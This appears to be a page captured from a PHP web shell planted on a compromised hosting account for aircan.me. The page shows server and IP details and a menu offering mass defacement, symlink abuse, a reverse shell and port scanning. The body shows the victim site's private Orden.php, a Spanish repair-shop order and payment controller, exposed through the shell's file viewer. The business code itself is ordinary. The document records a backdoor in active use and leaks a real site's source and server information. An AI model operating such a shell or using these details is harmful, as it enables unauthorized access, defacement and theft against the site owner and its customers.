Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comercial
/
controllers
/
Viewing: Orden.php
<?php require 'vendor/autoload.php'; use chillerlan\QRCode\QRCode; use Dompdf\Dompdf; use Dompdf\Options; use Picqer\Barcode\BarcodeGeneratorPNG; class Orden extends Controller { public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } } public function index() { if (!verificar('crear_orden')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Nuevo Orden'; $data['script'] = 'reparaciones.js'; $data['modal'] = 'orden.php'; $data['marcas'] = $this->model->getMarcas(1); $data['formapagos'] = $this->model->getFormapagos(1); $data['identidades'] = $this->model->getIdentidades(); $this->views->getView('ordenes', 'index', $data); } public function create() { if (verificar('crear_orden')) { header('Content-Type: application/json'); $json = file_get_contents('php://input'); $data = json_decode($json, true); if (!$data) { echo json_encode(['type' => 'error', 'msg' => 'Datos no recibidos']); return; } // ✅ Validar campos obligatorios $required = [ 'marca' => 'Marca', 'aparato' => 'Aparato', 'modelo' => 'Modelo', 'color' => 'Color', 'estetica' => 'Estética', 'fecha_prometida' => 'Fecha Prometida', 'problema' => 'Detalle del servicio', 'mano_obra' => 'Costo Total' ]; foreach ($required as $key => $name) { if (empty(trim($data[$key] ?? ''))) { echo json_encode(['type' => 'warning', 'msg' => "El campo $name es obligatorio"]); return; } } // ✅ Validar anticipo y forma de pago $anticipo = isset($data['anticipo']) ? floatval($data['anticipo']) : 0; if ($anticipo > 0 && empty($data['formapago'])) { echo json_encode(['type' => 'warning', 'msg' => 'Debe seleccionar una forma de pago']); return; } // ✅ Validar que la caja esté abierta $verificarCaja = $this->model->getCaja($_SESSION['id_sucursal']); if (empty($verificarCaja['monto_inicial'])) { echo json_encode(['type' => 'warning', 'msg' => 'LA CAJA ESTÁ CERRADA']); return; } // ✅ Obtener correlativo $ultimoCorrelativo = $this->model->getUltimoCorrelativo($_SESSION['id_sucursal']); $correlativo = ($ultimoCorrelativo) ? $ultimoCorrelativo['correlativo'] + 1 : 1; // ✅ Insertar orden usando insertOrden() $id_reparacion = $this->model->insertOrden( $correlativo, $data['aparato'], $data['modelo'], $data['imei'] ?? '', $data['color'], $data['estetica'], date('Y-m-d'), date('H:i:s'), $data['fecha_prometida'], $data['problema'], $data['observaciones'] ?? '', $data['solucion'] ?? '', floatval($data['mano_obra']), $anticipo, $data['clave'] ?? '', $data['pin'] ?? '', $_SESSION['id_usuario'], $verificarCaja['id'], // id de la caja activa $data['id_cli'], $data['marca'], $_SESSION['id_sucursal'] ); if ($id_reparacion > 0) { // ✅ Insertar anticipo si aplica if ($anticipo > 0) { $this->model->insertAbonoModel([ 'fecha' => date('Y-m-d'), 'descripcion' => 'Anticipo', 'monto' => $anticipo, 'id_caja' => $verificarCaja['id'], 'id_usuario' => $_SESSION['id_usuario'], 'id_formapago' => $data['formapago'], 'id_reparacion' => $id_reparacion ]); } echo json_encode(['type' => 'success', 'msg' => 'ORDEN REGISTRADA', 'id' => $id_reparacion]); } else { echo json_encode(['type' => 'error', 'msg' => 'ERROR AL REGISTRAR']); } } else { echo json_encode(['type' => 'error', 'msg' => 'NO TIENES PERMISOS']); return; } } public function update() { if (verificar('editar_orden')) { header('Content-Type: application/json'); $json = file_get_contents('php://input'); $data = json_decode($json, true); if (!$data) { echo json_encode(['type' => 'error', 'msg' => 'Datos no recibidos']); return; } // ✅ Validar campos obligatorios $required = [ 'idOrden' => 'Orden', 'aparato' => 'Aparato', 'marca' => 'Marca', 'modelo' => 'Modelo', 'color' => 'Color', 'estetica' => 'Estética', 'fecha_prometida' => 'Fecha Prometida', 'problema' => 'Detalle del servicio', 'mano_obra' => 'Costo Total' ]; foreach ($required as $key => $name) { if (empty(trim($data[$key] ?? ''))) { echo json_encode(['type' => 'warning', 'msg' => "El campo $name es obligatorio"]); return; } } // ✅ Validar anticipo y forma de pago $anticipo = isset($data['anticipo']) ? floatval($data['anticipo']) : 0; if ($anticipo > 0 && empty($data['formapago'])) { echo json_encode(['type' => 'warning', 'msg' => 'Debe seleccionar una forma de pago']); return; } // ✅ Validar que la caja esté abierta $verificarCaja = $this->model->getCaja($_SESSION['id_sucursal']); if (empty($verificarCaja['monto_inicial'])) { echo json_encode(['type' => 'warning', 'msg' => 'LA CAJA ESTÁ CERRADA']); return; } $id_reparacion = $this->model->updateOrden( $data['aparato'], $data['modelo'], $data['imei'] ?? '', $data['color'], $data['estetica'], $data['fecha_prometida'], $data['problema'], $data['observaciones'] ?? '', $data['solucion'] ?? '', floatval($data['mano_obra']), $anticipo, $data['clave'] ?? '', $data['pin'] ?? '', $_SESSION['id_usuario'], $data['id_cli'], $data['marca'], $data['idOrden'] ); if ($id_reparacion > 0) { // ✅ Insertar anticipo si aplica if ($anticipo > 0) { //ELIMINAR ABONO ANTERIOR $this->model->deleteAbonoAnterior($data['idOrden']); $this->model->insertAbonoModel([ 'fecha' => date('Y-m-d'), 'descripcion' => 'Anticipo', 'monto' => $anticipo, 'id_caja' => $verificarCaja['id'], 'id_usuario' => $_SESSION['id_usuario'], 'id_formapago' => $data['formapago'], 'id_reparacion' => $data['idOrden'] ]); } echo json_encode(['type' => 'success', 'msg' => 'ORDEN MODIFICADA', 'id' => $data['idOrden']]); } else { echo json_encode(['type' => 'error', 'msg' => 'ERROR AL MODIFICAR']); } } else { echo json_encode(['type' => 'error', 'msg' => 'NO TIENES PERMISOS']); return; } } public function eliminarAbono($id) { if (is_numeric($id) && verificar('abonos_orden')) { $res = $this->model->deleteAbono($id); if ($res) { $response = ['type' => 'success', 'msg' => 'Abono eliminado correctamente']; } else { $response = ['type' => 'error', 'msg' => 'No se pudo eliminar el abono']; } } else { $response = ['type' => 'error', 'msg' => 'NO TIENES PERMISOS']; } echo json_encode($response, JSON_UNESCAPED_UNICODE); die(); } public function historial() { if (!verificar('ver_orden')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Historial Ordenes'; $data['script'] = 'reparacion-historial.js'; $this->views->getView('ordenes', 'historial', $data); } public function listar() { $data = []; if (verificar('ver_orden')) { $desde = !empty($_GET['desde']) ? $_GET['desde'] : null; $hasta = !empty($_GET['hasta']) ? $_GET['hasta'] : null; $data = $this->model->getReparaciones($_SESSION['id_sucursal'], $desde, $hasta); foreach ($data as $index => $row) { $data[$index]['item'] = str_pad($row['correlativo'], 6, '0', STR_PAD_LEFT); $data[$index]['fecha_ingreso'] = $row['fecha_ingreso'] . ' ' . $row['hora_ingreso']; } } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function detalle() { $cart['productos'] = $_SESSION['reparaciones'] ?? []; // Ordenar por timestamp descendente (si existe timestamp) usort($cart['productos'], function ($a, $b) { return ($b['timestamp'] ?? 0) <=> ($a['timestamp'] ?? 0); }); $cart['total'] = number_format(getTotalPrice('reparaciones'), 2); echo json_encode($cart, JSON_UNESCAPED_UNICODE); die(); } public function addCarrito() { header('Content-Type: application/json'); $json = file_get_contents('php://input'); $data = json_decode($json, true); if (!isset($data['valor'])) { echo json_encode([ 'status' => 'error', 'message' => 'No se recibió el valor.' ], JSON_UNESCAPED_UNICODE); exit; } $valor = $data['valor']; $descuento = 0; $cantidad = 1; $caja = 0; $preciosVenta = []; $precioSeleccionado = []; $idProducto = 0; $descripcion = ''; $precio = 0; if (is_numeric($valor)) { // ✅ Es producto $producto = $this->model->getProducto($valor); if (!$producto) { echo json_encode([ 'status' => 'warning', 'message' => 'Producto no encontrado.' ], JSON_UNESCAPED_UNICODE); exit; } // Decodificar precios JSON $preciosVenta = json_decode($producto['precio_venta'], true); $precioSeleccionado = $preciosVenta[0]; $idProducto = $producto['id']; $descripcion = $producto['descripcion']; $precio = $precioSeleccionado['monto']; } else { // ✅ Es servicio $descripcion = $valor; $precio = isset($data['precio']) ? floatval($data['precio']) : 0; $idProducto = uniqid('srv_', true); // Genera un ID único para el servicio $preciosVenta = [['monto' => $precio, 'nombre' => 'Servicio']]; $precioSeleccionado = $preciosVenta[0]; } // Agregar al carrito $res = addToCartCaja( 'reparaciones', $idProducto, $descripcion, $precio, $descuento, $cantidad, $caja, $preciosVenta, $precioSeleccionado ); echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function cambiarPrecio() { $json = file_get_contents('php://input'); $data = json_decode($json, true); if (!isset($data['idProducto']) || !isset($data['precio'])) { echo json_encode(['icono' => 'warning', 'msg' => 'Datos incompletos']); die(); } $idProducto = $data['idProducto']; $precioData = $data['precio']; if (is_array(json_decode($precioData, true))) { // ✅ Producto (precio en JSON) $precio = json_decode($precioData, true); } else { // ✅ Servicio (precio numérico) $precio = ['monto' => floatval($precioData), 'nombre' => 'Servicio']; } $res = updatePriceCaja('reparaciones', $idProducto, $precio, 0); echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function deleteCarrito($id) { $data = removeFromCart('reparaciones', $id); echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function cantidadReparacion() { header('Content-Type: application/json'); $json = file_get_contents('php://input'); $data = json_decode($json, true); $id = $data['idProducto']; $cantidad = $data['cantidad']; $data = updateCantidad('reparaciones', $id, $cantidad); echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function guardarOrden() { if (verificar('refaccion_orden')) { header('Content-Type: application/json'); $json = file_get_contents('php://input'); $data = json_decode($json, true); if (!isset($data['productos']) || empty($data['productos'])) { echo json_encode(['status' => 'error', 'message' => 'No hay productos para guardar']); exit; } $productos = $data['productos']; $id_reparacion = $data['id']; // ID de la reparación $reparacion = $this->model->getReparacion($id_reparacion); $totalManoObra = $reparacion['mano_obra'] ?? 0; $totalProducto = 0; foreach ($productos as $row) { $precio = isset($row['precio_seleccionado']['monto']) ? $row['precio_seleccionado']['monto'] : $row['price']; $cantidad = $row['quantity']; $totalProducto += $precio * $cantidad; } if ($totalProducto > $totalManoObra) { echo json_encode(['status' => 'warning', 'message' => 'El total producto excede al total: ' . number_format($totalManoObra)]); exit; } if ($reparacion['estado'] == 'entregado') { echo json_encode(['status' => 'warning', 'message' => 'No puedes guardar el producto ya fue entregado']); exit; } // Eliminar detalle anterior para esta reparación $this->model->eliminarDetalle($id_reparacion); foreach ($productos as $row) { $producto_id = is_numeric($row['id']) ? $row['id'] : null; // null si es servicio $producto = $row['name']; // nombre del producto o servicio $precio = isset($row['precio_seleccionado']['monto']) ? $row['precio_seleccionado']['monto'] : $row['price']; $cantidad = $row['quantity']; $this->model->registrarProductos($producto_id, $producto, $precio, $cantidad, $id_reparacion); } echo json_encode(['status' => 'success', 'message' => 'Orden guardada correctamente']); exit; } else { echo json_encode(['status' => 'warning', 'message' => 'NO TIENES PERMISOS']); exit; } } public function clearCart() { $data = clearCart('reparaciones'); echo json_encode($data, JSON_UNESCAPED_UNICODE); exit; } public function info($id) { if (verificar('ver_orden')) { $data['title'] = 'Info del orden'; $data['script'] = 'reparacion-info.js'; $data['modal'] = 'orden-info.php'; $data['marcas'] = $this->model->getMarcas(1); $data['reparacion'] = $this->model->getReparacion($id); // Limpiar carrito actual de reparaciones clearCart('reparaciones'); // Recuperar los productos/servicios asociados a la reparación $productos = $this->model->getDetalleReparacion($id); foreach ($productos as $producto) { $idProducto = ''; $descripcion = ''; $precio = 0; $descuento = 0; $cantidad = $producto['cantidad']; $caja = 0; $preciosVenta = []; $precioSeleccionado = []; if (is_null($producto['id_producto'])) { // ✅ Es un servicio $idProducto = uniqid('srv_', true); $descripcion = $producto['producto']; // Nombre del servicio $precio = $producto['precio']; $preciosVenta = [['monto' => $precio, 'nombre' => 'Servicio']]; $precioSeleccionado = $preciosVenta[0]; } else { // ✅ Es un producto $idProducto = $producto['id_producto']; $descripcion = $producto['producto']; $precio = $producto['precio']; // Si el producto tiene estructura de precios guardada en JSON, decodificar $preciosVenta = json_decode($producto['precios_json'] ?? '[]', true); if (empty($preciosVenta)) { // Si no tiene precios adicionales, usamos el precio actual $preciosVenta = [['monto' => $precio, 'nombre' => 'Precio base']]; } $precioSeleccionado = $preciosVenta[0]; } // Agregar al carrito con la misma estructura que addCarrito() addToCartCaja( 'reparaciones', $idProducto, $descripcion, $precio, $descuento, $cantidad, $caja, $preciosVenta, $precioSeleccionado ); } // RECUPERAR ABONO $abonos = $this->model->getMontoAbonoOrden($id); $data['totalAbonos'] = is_null($abonos['monto']) ? 0 : $abonos['monto']; // Formas de pago $data['formapagos'] = $this->model->getFormapagos(1); // Renderizar la vista $this->views->getView('ordenes', 'info', $data); } else { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } } public function edit($id) { if (!verificar('editar_orden')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } try { $data['title'] = 'Editar Orden'; $data['script'] = 'reparaciones.js'; $data['modal'] = 'orden.php'; $data['marcas'] = $this->model->getMarcas(1); $data['formapagos'] = $this->model->getFormapagos(1); $data['identidades'] = $this->model->getIdentidades(); $data['reparacion'] = $this->model->getReparacion($id); $data['abonoReparacion'] = $this->model->getAbonoReparacion($id); $this->views->getView('ordenes', 'edit', $data); } catch (Exception $e) { echo $e->getMessage(); } } public function generarTicket($id) { $url = BASE_URL . 'principal/status/' . $id; $data['qrCode'] = (new QRCode())->render($url); $data['reparacion'] = $this->model->getReparacion($id); //SUCURSAL $data['empresa'] = $this->model->getEmpresa($data['reparacion']['id_sucursal']); $data['logoBase64'] = 'data:image/png;base64,' . base64_encode(file_get_contents(BASE_URL . 'assets/images/logo.png')); $logoPath = 'assets/images/logo.png'; if (file_exists($logoPath)) { $data['logo'] = 'data:image/png;base64,' . base64_encode(file_get_contents($logoPath)); } else { $data['logo'] = null; } $data['productos'] = $this->model->getDetalleReparacion($id); //RECUPERAR ABONO $abonos = $this->model->getMontoAbonoOrden($id); $data['totalAbonos'] = ($abonos['monto'] == null) ? 0 : $abonos['monto']; // Configurar opciones de dompdf $options = new Options(); $options->set('isHtml5ParserEnabled', true); $options->set('isRemoteEnabled', true); // Crear una instancia de Dompdf con las opciones $dompdf = new Dompdf($options); ob_start(); $this->views->getView('ordenes', 'ticket', $data); $html = ob_get_clean(); // Cargar el contenido HTML en dompdf $dompdf->loadHtml($html); // Dimensiones en milímetros $ticket = TICKETORDEN; // Generar contenido dinámico del HTML $width_mm = $ticket['width'] - 10; $height_mm = $ticket['height']; // Convertir a puntos $width_pt = mmToPoints($width_mm); $height_pt = mmToPoints($height_mm); // Configurar tamaño de papel en DOMPDF $dompdf->setPaper(array(0, 0, $width_pt, $height_pt)); // Renderizar el PDF $dompdf->render(); // Enviar el PDF al navegador $dompdf->stream('ticket.pdf', array('Attachment' => 0)); } public function generarEtiqueta($idReparacion) { $generator = new BarcodeGeneratorPNG(); $data['barcode'] = base64_encode($generator->getBarcode($idReparacion, $generator::TYPE_CODE_128)); $logoPath = 'assets/images/logo.png'; if (file_exists($logoPath)) { $data['logo'] = 'data:image/png;base64,' . base64_encode(file_get_contents($logoPath)); } else { $data['logo'] = null; } $data['sucursal'] = $this->model->getEmpresa($_SESSION['id_sucursal']); $data['reparacion'] = $this->model->getReparacion($idReparacion); $data['etiqueta'] = ETIQUETAORDEN; // Generar contenido dinámico del HTML ob_start(); $this->views->getView('ordenes', 'etiqueta', $data); $html = ob_get_clean(); // Configurar Dompdf $options = new Options(); $options->set('isHtml5ParserEnabled', true); $options->set('isRemoteEnabled', true); $dompdf = new Dompdf($options); $dompdf->loadHtml($html); // Dimensiones en milímetros $width_mm = $data['etiqueta']['width'] - 10; $height_mm = $data['etiqueta']['height']; $type = $data['etiqueta']['type']; // Ajustar dimensiones según el tipo de orientación if ($type === 'horizontal') { [$width_mm, $height_mm] = [$height_mm, $width_mm]; // Intercambia ancho y alto } // Convertir a puntos $width_pt = mmToPoints($width_mm); $height_pt = mmToPoints($height_mm); // Configurar tamaño de papel en DOMPDF $dompdf->setPaper(array(0, 0, $width_pt, $height_pt)); $dompdf->render(); // Descargar o mostrar en navegador $dompdf->stream("etiqueta_$idReparacion.pdf", ["Attachment" => 0]); } public function cambiarEstado() { if (verificar('orden_estados')) { header('Content-Type: application/json'); $json = file_get_contents('php://input'); $valor = json_decode($json, true); $id = $valor['id']; $nuevoEstado = $valor['estado']; if (!$id || !$nuevoEstado) { echo json_encode([ 'icono' => 'error', 'msg' => 'ID o estado no proporcionado.' ], JSON_UNESCAPED_UNICODE); exit; } $reparacion = $this->model->getReparacion($id); if (!$reparacion) { echo json_encode([ 'icono' => 'error', 'msg' => 'Reparación no encontrada.' ], JSON_UNESCAPED_UNICODE); exit; } $abonos = $this->model->getMontoAbonoOrden($id); $totalAbonos = ($abonos['monto'] == null) ? 0 : $abonos['monto']; if ($nuevoEstado == 'entregado' && $totalAbonos < $reparacion['mano_obra']) { echo json_encode([ 'icono' => 'warning', 'msg' => 'No puedes cambiar el estado hay abono pendiente: ' . number_format($reparacion['mano_obra'] - $totalAbonos, 2) ], JSON_UNESCAPED_UNICODE); exit; } // Actualizar el estado $data = $this->model->updateEstadoReparacion($id, $nuevoEstado); if ($data) { echo json_encode([ 'icono' => 'success', 'msg' => 'Estado actualizado correctamente.' ], JSON_UNESCAPED_UNICODE); exit; } else { echo json_encode([ 'icono' => 'error', 'msg' => 'Error al cambiar estado' ], JSON_UNESCAPED_UNICODE); exit; } } else { echo json_encode([ 'icono' => 'error', 'msg' => 'NO TIENES PERMISOS' ], JSON_UNESCAPED_UNICODE); exit; } } public function getAbono($id_reparacion) { $reparacion = $this->model->getReparacion($id_reparacion); $abonos = $this->model->getMontoAbonoOrden($id_reparacion); $totalAbono = ($abonos['monto'] == null) ? 0 : $abonos['monto']; $data['pendiente'] = $reparacion['mano_obra'] - $totalAbono; echo json_encode($data, JSON_UNESCAPED_UNICODE); exit; } public function listarAbonos($id_reparacion) { $data = []; if (verificar('abonos_orden')) { $data = $this->model->getAbonosOrden($id_reparacion); } echo json_encode($data, JSON_UNESCAPED_UNICODE); exit; } public function guardarAbono() { if (verificar('abonos_orden')) { header('Content-Type: application/json'); $json = file_get_contents('php://input'); $data = json_decode($json, true); if (!isset($data['id_reparacion'], $data['monto'], $data['formapago'])) { echo json_encode([ 'status' => 'error', 'message' => 'Faltan datos requeridos.' ]); return; } $verificarCaja = $this->model->getCaja($_SESSION['id_sucursal']); if (empty($verificarCaja['monto_inicial'])) { echo json_encode(['type' => 'warning', 'msg' => 'LA CAJA ESTÁ CERRADA']); return; } // Obtener abonos anteriores $abonos = $this->model->getMontoAbonoOrden($data['id_reparacion']); $totalAbonos = ($abonos['monto'] == null) ? 0 : $abonos['monto']; // Obtener información de la reparación $reparacion = $this->model->getReparacion($data['id_reparacion']); $totalManoObra = $reparacion['mano_obra'] ?? 0; if (($totalAbonos + $data['monto']) <= $totalManoObra) { // Insertar abono en el modelo $insert = $this->model->insertAbono([ 'fecha' => date('Y-m-d'), 'monto' => $data['monto'], 'id_formapago' => $data['formapago'], 'descripcion' => $data['descripcion'] ?? null, 'id_caja' => $verificarCaja['id'], 'id_usuario' => $_SESSION['id_usuario'] ?? 0, 'id_reparacion' => $data['id_reparacion'], ]); if ($insert) { // Si tiene opción de entregar, actualizar estado de la reparación if (!empty($data['opcion']) && $data['opcion'] == 'entregar') { $this->model->updateEstadoReparacion($data['id_reparacion'], 'entregado'); } echo json_encode([ 'status' => 'success', 'opcion' => $data['opcion'] ?? '', 'message' => 'Abono registrado exitosamente.' ]); } else { echo json_encode([ 'status' => 'error', 'message' => 'No se pudo registrar el abono.' ]); } } else { echo json_encode([ 'status' => 'warning', 'message' => 'Los abonos exceden el total permitido.' ]); } } else { echo json_encode([ 'status' => 'warning', 'message' => 'NO TIENES PERMISOS' ]); } } }
Coded With 💗 by
0x6ick